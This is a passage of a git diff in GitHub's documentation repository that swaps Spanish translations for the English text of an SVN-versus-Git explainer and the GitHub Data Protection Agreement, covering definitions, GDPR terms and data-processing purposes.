in a project is organized within specific subdirectories, such as `trunk`, `branches`, and `tags`. For example, an SVN project with two features under development might look like this: sample_project/trunk/README.md sample_project/trunk/lib/widget.rb @@ -23,48 +22,48 @@ Cada *referencia*, o instantánea etiquetada de una confirmación, en un proyect sample_project/branches/another_new_feature/README.md sample_project/branches/another_new_feature/lib/widget.rb -Un flujo de trabajo SVN se parece a esto: +An SVN workflow looks like this: -* El directorio `tronco` representa el último lanzamiento estable de un proyecto. -* El trabajo de característica activa se desarrolla dentro de subdirectorios dentro de `ramas`. -* Cuando una característica se termina, el directorio de la característica se fusiona dentro del `tronco` y se elimina. +* The `trunk` directory represents the latest stable release of a project. +* Active feature work is developed within subdirectories under `branches`. +* When a feature is finished, the feature directory is merged into `trunk` and removed. -Los proyectos de Git también se almacenan dentro de un directorio único. Sin embargo, Git oculta los detalles de sus referencias al almacenarlos en un directorio *.git* especial. Por ejemplo, un proyecto Git con dos características bajo desarrollo debería parecerse a esto: +Git projects are also stored within a single directory. However, Git obscures the details of its references by storing them in a special *.git* directory. For example, a Git project with two features under development might look like this: sample_project/.git sample_project/README.md sample_project/lib/widget.rb -Un flujo de trabajo Git se parece a esto: +A Git workflow looks like this: -* Un repositorio Git almacena el historial completo de todas sus ramas y etiquetas dentro del directorio de *.git*. -* El último lanzamiento estables se contiene dentro de la rama predeterminada. -* El trabajo de característica activa se desarrolla en ramas separadas. -* Cuando una característica finaliza, la rama de característica se fusiona en la rama predeterminada y se borra. +* A Git repository stores the full history of all of its branches and tags within the *.git* directory. +* The latest stable release is contained within the default branch. +* Active feature work is developed in separate branches. +* When a feature is finished, the feature branch is merged into the default branch and deleted. -A diferencia de SVN, con Git la estructura del directorio permanece igual, pero los contenidos de los archivos cambia en base a tu rama. +Unlike SVN, with Git the directory structure remains the same, but the contents of the files change based on your branch. -## Incluir los subproyectos +## Including subprojects -Un *subproyecto* es un proyecto que se ha desarrollado y administrado en algún lugar fuera del proyecto principal. Normalmente importas un subproyecto para agregar alguna funcionalidad a tu proyecto sin necesidad de mantener el código. Cada vez que el proyecto se actualiza, puedes sincronizarlo con tu proyecto para garantizar que todo esté actualizado. +A *subproject* is a project that's developed and managed somewhere outside of your main project. You typically import a subproject to add some functionality to your project without needing to maintain the code yourself. Whenever the subproject is updated, you can synchronize it with your project to ensure that everything is up-to-date. -En SVN, un subproyecto se llama un *SVN externo*. En Git, se llama un *submódulo Git*. A pesar de que conceptualmente son similares, los submódulos Git no se mantienen actualizados de forma automática; debes solicitar explícitamente que se traiga una nueva versión a tu proyecto. +In SVN, a subproject is called an *SVN external*. In Git, it's called a *Git submodule*. Although conceptually similar, Git submodules are not kept up-to-date automatically; you must explicitly ask for a new version to be brought into your project. For more information, see "[Git Tools Submodules](https://git-scm.com/book/en/Git-Tools-Submodules)" in the Git documentation. -## Mantener el historial +## Preserving history -SVN está configurado para suponer que el historial de un proyecto nunca cambia. Git te permite modificar cambios y confirmaciones previas utilizando herramientas como [`git rebase`](/github/getting-started-with-github/about-git-rebase). +SVN is configured to assume that the history of a project never changes. Git allows you to modify previous commits and changes using tools like [`git rebase`](/github/getting-started-with-github/about-git-rebase). {% tip %} -[GitHub admite clientes de Subversion](/articles/support-for-subversion-clients), lo que puede generar algunos resultados inesperados si estás utilizando tanto Git como SVN en el mismo proyecto. Si has manipulado el historial de confirmación de Git, esas mismas confirmaciones siempre permanecerán dentro del historial de SVN. Si accidentalmente confirmaste algunos datos confidenciales, hay un [artículo que te ayudará a eliminarlo del historial de Git](/articles/removing-sensitive-data-from-a-repository). +[GitHub supports Subversion clients](/articles/support-for-subversion-clients), which may produce some unexpected results if you're using both Git and SVN on the same project. If you've manipulated Git's commit history, those same commits will always remain within SVN's history. If you accidentally committed some sensitive data, we have [an article that will help you remove it from Git's history](/articles/removing-sensitive-data-from-a-repository). {% endtip %} -## Leer más +## Further reading -- "[Propiedades de Subversion admitidas por GitHub](/articles/subversion-properties-supported-by-github)" -- ["Branching and Merging" del libro _Git SCM_](https://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging) -- "[Importar código fuente a GitHub](/articles/importing-source-code-to-github)" -- "[Herramientas de migración de código fuente](/articles/source-code-migration-tools)" +- "[Subversion properties supported by GitHub](/articles/subversion-properties-supported-by-github)" +- ["Branching and Merging" from the _Git SCM_ book](https://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging) +- "[Importing source code to GitHub](/articles/importing-source-code-to-github)" +- "[Source code migration tools](/articles/source-code-migration-tools)" diff --git a/translations/es-ES/content/github/index.md b/translations/es-ES/content/github/index.md index 15156bc2c1..a526e281f2 100644 --- a/translations/es-ES/content/github/index.md +++ b/translations/es-ES/content/github/index.md @@ -22,4 +22,3 @@ children: - /site-policy-deprecated - /setting-up-and-managing-your-enterprise --- - diff --git a/translations/es-ES/content/github/site-policy/github-data-protection-agreement.md b/translations/es-ES/content/github/site-policy/github-data-protection-agreement.md index caf577cb08..b43c064b24 100644 --- a/translations/es-ES/content/github/site-policy/github-data-protection-agreement.md +++ b/translations/es-ES/content/github/site-policy/github-data-protection-agreement.md @@ -1,5 +1,5 @@ --- -title: Acuerdo de Protección de Datos de GitHub +title: GitHub Data Protection Agreement redirect_from: - /github/site-policy/github-data-protection-addendum - /github/site-policy-deprecated/github-data-protection-addendum @@ -8,293 +8,305 @@ versions: fpt: '*' --- -## Introducción +## Introduction -Las partes concuerdan que este Acuerdo de Protección de Datos ("**DPA**, por sus siglas en inglés) de GitHub establece sus obligaciones con respecto al procesamiento y la seguridad de los Datos personales y, cuando se declare explícitamente en los Términos del DPA, con respecto a los Datos de Clientes en conexión con los Servicios en Línea que proporciona GitHub, Inc. ("**GitHub**"). El DPA (incluyendo su Apéndice y Adjuntos) se celebra entre GitHub y cualquier cliente que reciba Servicios en Línea de GitHub, con base en el Acuerdo de Cliente de GitHub ("**Cliente**") y se incorpora como referencia en el Acuerdo de Cliente de GitHub. +The parties agree that this GitHub Data Protection Agreement (“**DPA**”) sets forth their obligations with respect to the processing and security of Personal Data and, where explicitly stated in the DPA Terms, Customer Data in connection with the Online Services provided by GitHub, Inc. (“**GitHub**”). The DPA (including its Appendix and Attachments) is between GitHub and any customer receiving Online Services from GitHub based on the GitHub Customer Agreement (“**Customer**”), and is incorporated by reference into the GitHub Customer Agreement. -En caso de que se suscite cualquier conflicto o inconsistencia entre los Términos del DPA y cualquier término adicional en el Acuerdo de Cliente de GitHub, el DPA deberá prevalecer. Las disposiciones de los Términos del DPA sustituyen cualquier otra que entre en conflicto con la Declaración de Privacidad de GitHub que, de otra forma, pudiera aplicar al procesamiento de los Datos Personales. Para mayor claridad, las Cláusulas Contractuales Estándar prevalecen sobre cualquier otro término del DPA. +In the event of any conflict or inconsistency between the DPA Terms and any other terms in the GitHub Customer Agreement, the DPA Terms will prevail. The provisions of the DPA Terms supersede any conflicting provisions of the GitHub Privacy Statement that otherwise may apply to processing of Personal Data. For clarity, the Standard Contractual Clauses prevail over any other term of the DPA Terms. -### Términos y Actualizaciones aplicables al DPA +### Applicable DPA Terms and Updates -#### Límites de las Actualizaciones +#### Limits on Updates -Cuando un cliente renueva o compra una suscripción nueva a un Servicio en Línea, se aplicarán los Términos del DPA vigentes en el momento y no se cambiarán durante el periodo de dicha suscripción nueva para estos Servicios en Línea. +When Customer renews or purchases a new subscription to an Online Service, the then-current DPA Terms will apply and will not change during the term of that new subscription for that Online Service. -#### Características, Suplementos o Software Relacionado Nuevos +#### New Features, Supplements, or Related Software -No obstante a los límites anteriores de las actualizaciones, cuando GitHub introduzca características, suplementos o software relacionado que sean nuevos (por ejemplo, que no se incluyeran previamente en la suscripción), GitHub podría proporcionar términos o hacer actualizaciones al DPA que apliquen al uso del Cliente para dichas características, suplementos o software relacionado nuevos. Si estos términos incluyen cualquier cambio material adverso a los Términos del DPA, GitHub proporcionará una opción al cliente para utilizar las características, suplementos o software relacionado nuevos sin la pérdida de la funcionalidad existente de un Servicio en Línea generalmente disponible. En caso de que algún cliente no utilice las características, suplementos o software relacionado nuevos, no se aplicarán los términos nuevos correspondientes. +Notwithstanding the foregoing limits on updates, when GitHub introduces features, supplements or related software that are new (i.e., that were not previously included with the subscription), GitHub may provide terms or make updates to the DPA that apply to Customer’s use of those new features, supplements or related software. If those terms include any material adverse changes to the DPA Terms, GitHub will provide Customer a choice to use the new features, supplements, or related software, without loss of existing functionality of a generally available Online Service. If Customer does not use the new features, supplements, or related software, the corresponding new terms will not apply. -#### Requisitos y Regulación Gubernamental +#### Government Regulation and Requirements -No obstante a los límites anteriores de las actualizaciones, GitHub podrá modificar o terminar el Servicio en Línea en cualquier país o jurisdicción en donde exista un requisito u obligación gubernamental futura que (1) atenga a GitHub a cualquier regulación o requisito que no se aplique generalmente al negocio que allí opere, (2) presente una dificultad para que GitHub siga operando el Servicio en línea sin modificación y, (3) ocasione que GitHub crea que los Términos del DPA o el Servicio en Línea pudiera entrar en conflicto con cualquier requisito o obligación en cuestión. +Notwithstanding the foregoing limits on updates, GitHub may modify or terminate an Online Service in any country or jurisdiction where there is any current or future government requirement or obligation that (1) subjects GitHub to any regulation or requirement not generally applicable to businesses operating there, (2) presents a hardship for GitHub to continue operating the Online Service without modification, and/or (3) causes +GitHub to believe the DPA Terms or the Online Service may conflict with any such requirement or obligation. -### Avisos electrónicos +### Electronic Notices -GitHub podría proporcionar de forma electrónica al cliente información y avisos sobre los Servicios en Línea, incluyendo por correo electrónico, o mediante un sitio web que identifique GitHub. GitHub proporcionará un aviso de la fecha en la que lo haya hecho disponible. +GitHub may provide Customer with information and notices about Online Services electronically, including via email, or through a web site that GitHub identifies. Notice is given as of the date it is made available by GitHub. -### Versiones Anteriores +### Prior Versions -Los Términos del DPA proporcionan aquellos de los Servicios en Línea que se encuentren vigentes actualmente. En el caso de las versiones anteriores de los Términos del DPA, el Cliente podrá contactar a su revendedor o Administrador de Cuenta de GitHub. +The DPA Terms provide terms for Online Services that are currently available. For earlier versions of the DPA Terms, Customer may contact its reseller or GitHub Account Manager. -## Definiciones +## Definitions -Los términos capitalizados que se utilizan pero no se definen en este DPA tendrán los medios que se proporcionan en el Acuerdo de Cliente de GitHub. Los términos que se definen a continuación se utilizan en este DPA: +Capitalized terms used but not defined in this DPA will have the meanings provided in the GitHub Customer Agreement. The following defined terms are used in this DPA: -“**CCPA**” se refiere a la Ley de Privacidad de Consumidores de California, de acuerdo con lo que se establece en el Código Civil §1798.100 et seq. y sus regulaciones de implementación. +“**CCPA**” means the California Consumer Privacy Act as set forth in Cal. Civ. Code §1798.100 et seq. and its implementing regulations. -“**Datos de Cliente**” significa todos los datos, incluyendo todos los archivos de texto, sonido, video o imágenes y software que se le proporcionen a GitHub o en nombre del cliente mediante el uso del Servicio en Línea. +“**Customer Data**” means all data, including all text, sound, video, or image files, and software, that are provided to GitHub by, or on behalf of, Customer through use of the Online Service. -"**Requisitos para la Protección de Datos**" significa la GDPR, las Leyes de Protección de Datos locales de la EU/EEA y cualquier ley, regulación y requisito adicional aplicable que se relacione con (a) privacidad y seguridad de datos y; (b) el uso, recolección, retención, almacenamiento, seguridad, divulgación, transferencia, eliminación y cualquier otro tipo de procesamiento de los Datos Personales. +“**Data Protection Requirements**” means the GDPR, Local EU/EEA Data Protection Laws, CCPA, and any applicable laws, regulations, and other legal requirements relating to (a) privacy and data security; and (b) the use, collection, retention, storage, security, disclosure, transfer, disposal, and other processing of any Personal Data. -“**Datos de Diagnóstico**” significa los datos que GitHub recolecta u obtiene del software que un Cliente instala localmente en conexión con el Servicio en Línea. También se les conoce a los Datos de Diagnóstico como telemetría. Los Datos de Diagnóstico no incluyen Datos de Cliente, Datos Generados por el Servicio ni Datos de Servicios Profesionales. +“**Diagnostic Data**” means data collected or obtained by GitHub from software that is locally installed by Customer in connection with the Online Service. Diagnostic Data may also be referred to as telemetry. Diagnostic Data does not include Customer Data, Service Generated Data, or Professional Services Data. -“**Términos del DPA**” significa tanto los términos de este DPA y cualquier otro específico del Servicio en Línea en el Acuerdo de Cliente de GitHub que complementen o modifiquen específicamente los términos de privacidad y seguridad en el presente DPA para un Servicio en Línea específico (o para una característica de un Servicio en Línea). En caso de suscitarse cualquier conflicto o inconsistencia entre el DPA y dichos términos específicos del Servicio en Línea, estos últimos prevalecerán de acuerdo con el Servicio en Línea aplicable (o con la característica de este). +“**DPA Terms**” means both the terms in this DPA and any Online Service-specific terms in the GitHub Customer Agreement that specifically supplement or modify the privacy and security terms in this DPA for a specific Online Service (or feature of an Online Service). In the event of any conflict or inconsistency between the DPA and such Online Service-specific terms, the Online Service-specific terms shall prevail as to the applicable Online Service (or feature of that Online Service). + +“**GDPR**” means Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation). In connection with the United Kingdom, “GDPR” means Regulation (EU) 2016/679 as transposed into national law of the United Kingdom by the UK European Union (Withdrawal) Act 2018 and amended by the UK Data Protection, Privacy and Electronic Communications (Amendments etc.) (EU Exit) Regulations 2019 (as may be amended from time to time). -“**GDPR**” significa la Regulación (UE) 2016/679 del Parlamento Europeo y del Consejo del 27 de abril de 2016 sobre la protección de las personas naturales con respecto al procesamiento de los datos personales y sobre el movimiento de dichos datos y derogatoria de la Directiva 95/46EC (Reglamento General de Protección de Datos). En conexión con el Reino Unido, "GDPR" significa el Reglamento (UE) 2016/679 de acuerdo a como se transpuso en las leyes nacionales del Reino Unido mediante la Ley del Reino Unido y (su Salida) de la Unión Europea del 2018 y modificada por los Reglamentos de Protección de Datos, Privacidad y Comunicaciones Electrónicas del Reino Unido (Enmiendas, etc.) (Salida de la EU) del 2019 (conforme se modifiquen de vez en cuando). +“**Local EU/EEA Data Protection Laws**” means any subordinate legislation and regulation implementing the GDPR. -“**Leyes de Protección de Datos Locales EU/EEA**” significa cualquier legislación y regulación subordinadas que implementen la GDPR. +“**GDPR Related Terms**” means the terms in Attachment 3, under which GitHub makes binding commitments regarding its processing of Personal Data as required by Article 28 of the GDPR. -“**Los Términos Relacionados de la GDPR**” significa aquellos en el Adjunto 3, bajo los cuales, GitHub, contrae compromisos vinculantes con respecto a su procesamiento e Datos Personales de acuerdo con los requisitos del Artículo 28 de la GDPR. +“**GitHub Affiliate**” means any entity that directly or indirectly controls, is controlled by or is under common control with GitHub. -“**Afiliado de GitHub**” significa cualquier entidad que controle directa o indirectamente, se le controle mediante, o esté bajo control común con GitHub. +“**GitHub Customer Agreement**” means the service or other agreement(s) entered into by Customer with GitHub for Online Services. -“**Acuerdo de Cliente de GitHub**” significa el servicio u otro(s) acuerdo(s) que ingrese el Cliente con Github para Obtener Servicios en Línea. +“**GitHub Privacy Statement**” means the GitHub privacy statement available at https://docs.github.com/en/github/site-policy/github-privacy-statement. -“**Declaración de Privacidad de GitHub**” significa la declaración de privacidad de GitHub que se encuentra en https://docs.github.com/en/github/site-policy/github-privacy-statement. +“**Online Service**” means any service or software provided by GitHub to Customer under the GitHub Customer Agreement agreed upon with Customer, including Previews, updates, patches, bug fixes, and technical support. -“**Servicio en Línea**” significa cualquier servicio o software que proporcione GitHub a un Cliente bajo el Acuerdo de Cliente de GitHub, al cual acuerde el Cliente, incluyendo las Vistas previas, actualizaciones, parches, correcciones de errores y soporte técnico. +“**Personal Data**” means any information relating to an identified or identifiable natural person. An identifiable natural person is one who can be identified, directly or indirectly, in particular by reference to an identifier such as a name, an identification number, location data, an online identifier or to one or more factors specific to the physical, physiological, genetic, mental, economic, cultural or social identity of that natural person. -“**Datos Personales**” significa cualquier información que se relacione con una persona natural identificable o identificada. Una persona natural identificable es aquella que puede identificarse directa o indirectamente en partícula mediante una referencia a un identificador tal como un nombre, número de identificación, datos de ubicación, un identificador en línea o a uno o más factores específicos para identidad física, fisiológica, genética, mental, económica, cultural o social de esta. +“**Preview**” means Online Services provided for preview, evaluation, demonstration or trial purposes, or pre-release versions of the Online Services. -“**Vista Previa**” significa los Servicios en Línea que se proporcionan para propósitos de vista previa, evaluación, demostración o pruebas o versiones de pre-lanzamiento de los Servicios en Línea. +“**Professional Services Data**” means all data, including all text, sound, video, image files or software, that are provided to GitHub, by or on behalf of a Customer (or that Customer authorizes GitHub to obtain from an Online Service) or otherwise obtained or processed by or on behalf of GitHub through an engagement with GitHub to obtain Professional Services. Professional Services Data includes Support Data. -“**Datos de Servicios Profesionales**” significa todo los datos, incluyendo archivos de texto, sonido, video, imagen o software que se proporcionen a GitHub mediante o en nombre de un Cliente (o que los Clientes autoricen a GitHub para obtener de un Servicio en Línea) o, de otro modo, que se obtengan o procesen mediante o en nombre de GitHub a través de un compromiso con GitHub para obtener Servicios Profesionales. Los Datos de Servicios Profesionales incluyen a los Datos de Soporte. +“**Service Generated Data**” means data generated or derived by GitHub through the operation of an Online Service. Service Generated Data does not include Customer Data, Diagnostic Data, or Professional Services Data. -“**Datos Generados de los Servicios**” significa los datos que se generan o derivan de GitHub mediante la operación de un Servicio en Línea. Los Datos Generados de los Servicios no incluyen a los Datos de Cliente, de Diagnóstico o de Servicios Profesionales. +“**Standard Contractual Clauses**” means either of the following sets of Standard Contractual Clauses, as applicable in the individual case to the transfer of personal data according to the section of this DPA entitled “Data Transfers and Location” below: +- the Standard Contractual Clauses (MODULE TWO: Transfer controller to processor), dated 4 June 2021, for the transfer of personal data to third countries pursuant to Regulation (EU) 2016/679 of the European Parliament and of the Council, as described in Article 46 of the GDPR and approved by European Commission Implementing Decision (EU) 2021/91 (“Standard Contractual Clauses (EU/EEA)”). The Standard Contractual Clauses (EU/EEA) are set forth in Attachment 1. +- the Standard Contractual Clauses (Processors), dated 5 February 2010, for the transfer of personal data to processors established in third countries which do not ensure an adequate level of data protection, as described in Article 46 of the GDPR, approved by European Commission Decision 2010/87/EU and recognized by the regulatory or supervisory authorities of the United Kingdom for use in connection with data transfers from the United Kingdom (“Standard Contractual Clauses (UK)”). The Standard Contractual Clauses (UK) are set forth in Attachment 2. -“**Cláusulas Contractuales Estándar**” significa cualquiera de los siguientes conjuntos de Cláusulas Contractuales Estándar, de acuerdo con lo aplicable en el caso individual de la transferencia de datos personales de acuerdo con la sección de este DPA llamada "Transferencias de Datos y Ubicación" a continuación: -- las Cláusulas Contractuales Estándar (MÓDULO DOS: Transferencia de controlador a procesador), con fecha del 4 de junio de 2021, para la transferencia de datos personales de países terceros de conformidad con el Reglamento (EU) 2016/679 del Parlamento Europeo y del Consejo, de acuerdo a como se describe en el artículo 46 de la GDPR y aprobado por la Decisión Implementada de la Comisión Europea (EU) 2021/91 ("Cláusulas Contractuales Estándar (EU/EEA)"). Se exponen las Cláusulas Contractuales Estándar (EU/EEA) en el Adjunto 1. -- las Cláusulas Contractuales Estándar (Procesadores), con fecha del 5 de febrero de 2010, para la transferencia de datos personales a los procesadores establecidos en países terceros, los cuales no garantizan un nivel adecuado de protección de datos, de acuerdo con lo descrito en el Artículo 46 de la GDPR, aprobado por la Decisión de la Comisión Europea 2010/87/EU y reconocido por las autoridades supervisoras o regulatorias del Reino Unido apara uso en conexión con la transferencia de datos desde el Reino Unido ("Cláusulas Contractuales Estándar (UK)"). Se exponen las Cláusulas Contractuales Estándar (UK) en el Adjunto 2. +“**Subprocessor**” means other processors used by GitHub to process Personal Data on behalf of Customer in connection with the Online Services, as described in Article 28 of the GDPR. -“**Subprocesador**” significa cualquier otro procesador que utiliza GitHub para procesar los Datos Personales en nombre de un Cliente en conexión con los Servicios en Línea, de acuerdo con lo descrito en el Artículo 28 de la GDPR. +“**Support Data**” means all data, including all text, sound, video, image files, or software, that are provided to GitHub by or on behalf of Customer (or that Customer authorizes GitHub to obtain from an Online Service) through an engagement with GitHub to obtain technical support for Online Services covered under this agreement. Support Data is a subset of Professional Services Data. -“**Datos de Soporte**” significa todos los datos, incluyendo los archivos de texto, sonido, video, imagen o software que se proporcionan a GitHub mediante o en nombre de un Cliente (o que este Cliente autoriza a GitHub para obtener de un Servicio en Línea) mediante un acuerdo con GitHub para obtener soporte técnico para los Servicios en Línea que se cubren en este acuerdo. Los Datos de Soporte son un subconjunto de Datos de Servicios Profesionales. +Lower case terms used but not defined in this DPA, such as “personal data breach”, “processing”, “controller”, “processor”, “profiling”, “personal data”, and “data subject” will have the same meaning as set forth in Article 4 of the GDPR, irrespective of whether GDPR applies. The terms “data importer” and “data exporter” have the meanings given in the Standard Contractual Clauses. -Los términos en minúsculas que se utilizan pero no se definen en este DPA, tales como "violación de datos personales", "procesamiento", "controlador", "procesador, "perfilamiento", "datos personales" y "sujeto de datos" tendrán el mismo significado de acuerdo con lo expuesto en el Artículo 4 de la GDPR, independientemente de si la GDRP es aplicable o no. Los términos "importador de datos" y "exportador de datos" tienen los significados que se otorgan en las Cláusulas Contractuales Estándar. +For clarity, and as detailed above, data defined as Customer Data, Diagnostic Data, Service Generated Data, and Professional Services Data may contain Personal Data. For illustrative purposes, please see the chart inserted below: -Para obtener más claridad y, de acuerdo con lo antes descrito, los datos que se definen como Datos de Clientes, Datos de Diagnóstico, Datos Generados de Servicio, y Datos de Servicios Profesionales, podrían contener Datos Personales. Para fines ilustrativos, por favor, consulta la siguiente tabla: +
personal_data_types
+ +Above is a visual representation of the data types defined in the DPA. All Personal Data is processed as a part of one of the other data types (all of which also include non-personal data). Support Data is a sub-set of Professional Services Data. Except where explicitly stated otherwise, the DPA Terms exclusively apply to Personal Data. + +## General Terms -
- personal_data_types -
+### Compliance with Laws -La anterior es una representación visual de los tipos de datos que se definen en la DPA. Todos los datos personales se procesan como parte de los toros tipos de datos (de los cuales, todos incluyen a los datos no personales también). Los Datos de Soporte son un subconjunto de Datos de Servicios Profesionales. Excepto en donde se declare explícitamente de otra forma, los Términos del DPA aplican exclusivamente a los Datos Personales. +GitHub will comply with all laws and regulations applicable to its provision of the Online Services, including security breach notification law and Data Protection Requirements. However, GitHub is not responsible for compliance with any laws or regulations applicable to Customer or Customer’s industry that are not generally applicable to information technology service providers. GitHub does not determine whether Customer Data includes information subject to any specific law or regulation. All Security Incidents are subject to the Security Incident Notification terms below. -## Términos Generales +Customer must comply with all laws and regulations applicable to its use of Online Services, including laws related to biometric data, confidentiality of communications, and Data Protection Requirements. Customer is responsible for determining whether the Online Services are appropriate for storage and processing of information subject to any specific law or regulation and for using the Online Services in a manner consistent with Customer’s legal and regulatory obligations. Customer is responsible for responding to any request from a third party regarding Customer’s use of an Online Service, such as a request to take down content under the U.S. Digital Millennium Copyright Act or other applicable laws. -### Cumplimiento con las Leyes +## Data Protection -GitHub cumplirá con todas las leyes y regulaciones aplicables a su prestación de Servicios en Línea, incluyendo la ley de notificación de violaciones de seguridad y Requisitos de Protección de Datos. Sin embargo, GitHub no es responsable del cumplimiento de ninguna ley o regulación aplicable al Cliente o a la industria de este, las cuales no sean aplicables generalmente a los proveedores de servicios de tecnologías de la información. GitHub no determina si los Datos del Cliente incluyen información sujeta a cualquier ley o regulación específicas. Todos los incidentes de seguridad están sujetos a los siguientes términos de Notificación de Incidentes de Seguridad. +Terms This section of the DPA includes the following subsections: +- Scope +- Nature of Data Processing; Ownership +- Disclosure of Processed Data +- Processing of Personal Data; GDPR +- Data Security +- Security Incident Notification +- Data Transfers and Location +- Data Retention and Deletion +- Processor Confidentiality Commitment +- Notice and Controls on Use of Subprocessors +- Educational Institutions +- CJIS Customer Agreement, HIPAA Business Associate, Biometric Data +- California Consumer Privacy Act (CCPA) +- How to Contact GitHub +- Appendix A – Security Measures + +### Scope -Los Clientes deben cumplir con todas las leyes y regulaciones aplicables a su uso de los Servicios en Línea, incluyendo las leyes que se relacionan con los datos biométricos, la confidencialidad de las comunicaciones y los Requisitos de Protección de Datos. El Cliente es responsable de determinar si los Servicios en Línea son adecuados para el almacenamiento y procesamiento de la información sujeta a cualquier regulación o ley y para utilizar los Servicios en Línea de forma consistente con las obligaciones regulatorias y legales del Cliente. El Cliente es responsable de responder a cualquier solicitud de un tercero con respecto al uso del Servicio en Línea por parte del mismo, tal como la solicitud de retirar el contenido que se considera en la Ley de Derechos de Autor para Medios Digitales u otras leyes aplicables. +The DPA Terms apply to all Online Services. -## Protección de datos +Previews may employ lesser or different privacy and security measures than those typically present in the Online Services. Unless otherwise noted, Customer should not use Previews to process Personal Data or other data that is subject to legal or regulatory compliance requirements. The following terms in this DPA do not apply to Previews: Processing of Personal Data; GDPR, Data Security, and California Consumer Privacy Act. -Los términos de la DPA en esta sección incluyen las siguientes subsecciones: -- Alcance -- Naturaleza del Procesamiento de Datos; Propiedad -- Divulgación de los Datos Procesados -- Procesamiento de los Datos Personales; GDPR -- Seguridad de Datos -- Notificación de Incidentes de Seguridad -- Transferencia de Datos y Ubicación -- Retención y Borrado de Datos -- Compromiso de Confidencialidad del Procesador -- Aviso y Controles de Uso de Subprocesadores -- Instituciones Educativas -- Acuerdo de Cliente de CJIS, Asociado de Negocios HIPAA, Datos Biométricos -- Ley de Privacidad de Consumidores de California (CCPA) -- Cómo Contactar a GitHub -- Apéndice A – Medidas de Seguridad +### Nature of Data Processing; Ownership -### Ámbito +Except as otherwise stated in the DPA Terms, GitHub will use and otherwise process Customer Data and Personal Data as described and subject to the limitations provided below (a) to provide Customer the Online Service in accordance with Customer’s documented instructions, and/or (b) for GitHub’s legitimate business operations incident to delivery of the Online Services to Customer. As between the parties, Customer retains all right, +title and interest in and to Customer Data. GitHub acquires no rights in Customer Data other than the rights Customer grants to GitHub in this section. This paragraph does not affect GitHub’s rights in software or services GitHub licenses to Customer. -Los términos del DPA aplican a todos los Servicios en Línea. +#### Processing to Provide Customer the Online Services -Las vistas previas podrían emplear medidas de seguridad y privacidad menores o diferentes que aquellos tipos que se presentan habitualmente en los Servicios en Línea. A menos de que se indique lo contrario, el Cliente no deberá utilizar las Vistas Previas para procesar Datos Personales u otros que estén sujetos a requisitos de cumplimiento regulatorio o legal. Los siguientes términos en el presente DPA no aplican a las Vistas Previas: Procesamiento de Datos Personales; GDPR, Seguridad de Datos y Ley de Privacidad del Consumidor de California. +For purposes of this DPA, “to provide” an Online Service consists of: +- Delivering functional capabilities as licensed, configured, and used by Customer and its users, including providing personalized user experiences; +- Troubleshooting (e.g., preventing, detecting, and repairing problems); and +- Ongoing improvement (e.g., installing the latest updates and making improvements to user productivity, reliability, efficacy, and security). -### Naturaleza del Procesamiento de Datos; Propiedad +When providing Online Services, GitHub will use or otherwise process Personal Data only on Customer’s behalf and in accordance with Customer’s documented instructions. -A menos de que se indique lo contrario en los Términos del DPA, GitHub utilizará y, de otra forma, procesará los Datos de Cliente y Datos Personales de acuerdo con lo descrito y sujeto a las limitaciones que se proporcionan a continuación (a) para proporcionar el Servicio en Línea al Cliente de acuerdo con las instrucciones que este mismo documentó y (b) para las operaciones de negocios legítimos de GitHub inherentes a la entrega de los Servicios en Línea al Cliente. Como entre las partes, el Cliente retendrá todos los derechos, títulos e intereses y Datos de Cliente. GitHub no adquiere derechos sobre los Datos de Cliente aparte de los que el mismo Cliente le otorgue en esta sección. Este párrafo no afecta los derechos de GitHub sobre el software o los servicios sobre los cuales GitHub otorga licencias al Cliente. +#### Processing for GitHub’s Legitimate Business Operations -#### Procesamiento para proporcionar los Servicios en Línea al Cliente +For purposes of this DPA, “GitHub’s legitimate business operations” consist of the following, each as incident to delivery of the Online Services to Customer: (1) billing and account management; (2) compensation (e.g., calculating employee commissions and partner incentives); (3) internal reporting and business modeling (e.g., forecasting, revenue, capacity planning, product strategy); (4) combatting fraud, abuse, cybercrime, or cyber-attacks that may affect GitHub or Online Services; (5) improving the core functionality of accessibility, privacy or energy-efficiency; (6) financial reporting and compliance with legal obligations (subject to the limitations on disclosure of Processed Data outlined below); (7) the creation or management of end user accounts and profiles by GitHub for individual users of Customer (except where Customer creates, manages or otherwise controls such end user accounts or profiles itself); and (8) other purposes pertaining to Personal Data not provided by Customer for storage in GitHub repositories or in connection with Professional Services. -Para fines de este DPA, "proporcionar" un Servicio en Línea, consiste en: -- Entregar capacidades funcionales de acuerdo con como el Cliente y sus usuarios cuentan con licencia, los configuran y usan, incluyendo las experiencias personalizadas para los usuarios; -- Solucionar problemas (por ejemplo, prevenir, detectar y reparar problemas) y; -- Mejora continua (por ejemplo, instalar las actualizaciones más recientes y hacer mejoras a la productividad de los usuarios, confiabilidad, eficacia y seguridad). +When processing for GitHub’s legitimate business operations, GitHub will not use or otherwise process Personal Data for: (a) user profiling, (b) advertising or similar commercial purposes, (c) data selling or brokering, or (d) any other purpose, other than for the purposes set out in this section. -Cuando se proporcionan Servicios en Línea, GitHub utilizará o procesará de cualquier otra forma los Datos personales únicamente en nombre del Cliente y de acuerdo con las instrucciones documentadas de este. +### Disclosure of Processed Data -#### Procesamiento para las Operaciones de Negocio Legítimas de GitHub +GitHub will not disclose or provide access to any Processed Data except: (1) as Customer directs; (2) as described in this DPA; or (3) as required by law. For purposes of this section, “Processed Data” means: (a) Customer Data; (b) Personal Data and (c) any other data processed by GitHub in connection with the Online Service that is Customer’s confidential information under the GitHub Customer Agreement. All processing of Processed Data is subject to GitHub’s obligation of confidentiality under the GitHub Customer Agreement. -Para propósitos de este DPA, las "operaciones de negocio legítimas de GitHub" consisten de lo siguiente, cada una como un incidente de entrega de los Servicios en Línea al Cliente: (1) administración de cuenta y facturación; (2) compensación (por ejemplo, calcular las comisiones de empleados e incentivos de los socios); (3) reportes internos y modelados de negocio (por ejemplo, proyecciones, ganancias, planeación de capacidad, estrategia de producto); (4) combatir el fraude, abuso, cibercrimen o ciberataques que pudieran afectar a GitHub o a los Servicios en Línea; (5) mejorar las funcionalidades de accesibilidad, privacidad o eficiencia energética; (6) reportes financieros y cumplimiento con las obligaciones legales (sujetas a las limitaciones de divulgación de Datos Personales que se describen más adelante); (7) la creación o administración de cuentas de usuarios finales y perfiles por 